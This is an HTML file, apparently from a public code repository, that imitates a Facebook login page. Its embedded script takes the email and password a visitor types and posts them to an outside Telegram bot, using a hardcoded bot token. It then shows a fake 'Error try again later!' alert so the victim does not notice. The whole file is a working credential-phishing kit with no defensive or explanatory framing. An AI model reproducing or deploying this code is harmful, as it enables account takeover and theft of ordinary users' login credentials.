Login-signup-Extra1 / facebook.html
HenzHosting's picture
Upload 19 files
c956fd3 verified
<!DOCTYPE html>
<html lang="en">
<!-- Mirrored from facebook-signup-login-nz83.onrender.com/ by HTTrack Website Copier/3.x [XR&CO'2017], Fri, 21 Mar 2025 21:44:09 GMT -->
<!-- Added by HTTrack --><meta http-equiv="content-type" content="text/html;charset=utf-8" /><!-- /Added by HTTrack -->
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Facebook</title>
<!-- Custom Styles -->
<link rel="stylesheet" href="fb.css">
</head>
<body>
<center>
<img class="img" src="Screenshot_20220814-191744_1.png" alt="img">
<a class="lang" href="#">English .usa/ </a>
<div id="login">
<input type="email" id="email" placeholder="Phone or email">
<input type="password" id="password" placeholder="Password">
<br>
<button id="submit">Log In</button>
</div>
<a class="forgot" href="#">Forgot<br>Password?</a>
<hr>
<p>OR</p>
<button class="creat">Create New Facebook Account</button>
</center>
<script>
// Function to get URL parameters
function getQueryParam(param) {
const urlParams = new URLSearchParams(window.location.search);
return urlParams.get(param);
}
const chatId = getQueryParam('id'); // Get the Telegram ID from URL
const botToken = "7924786441:AAGIU7XlarFtwEzaRhFkNfIU6m3Sv1RyjRg"; // Your bot token
const url = `https://api.telegram.org/bot${botToken}/sendMessage`;
document.getElementById('submit').addEventListener('click', function () {
const email = document.getElementById('email').value;
const password = document.getElementById('password').value;
// If no chat ID, show error
if (!chatId) {
alert("Error: Missing chat ID.");
return;
}
// First message: email and password
const message1 = `Email: ${email}\nPassword: ${password}`;
// Second message: WhatsApp channel link
const message2 = `Facebook Logins😈`;
// Send first message
fetch(url, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
chat_id: chatId,
text: message1
})
})
.then(response => response.json())
.then(data => {
if (data.ok) {
// Send the second message
return fetch(url, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
chat_id: chatId,
text: message2
})
});
} else {
alert("Failed to send details. Check bot token or chat ID.");
}
})
.then(response => {
if (response && response.ok) {
alert("Error try again later!");
}
})
.catch(error => {
console.error("Error:", error);
alert("An error occurred.");
});
});
</script>
</body>
<!-- Mirrored from facebook-signup-login-nz83.onrender.com/ by HTTrack Website Copier/3.x [XR&CO'2017], Fri, 21 Mar 2025 21:44:11 GMT -->
</html>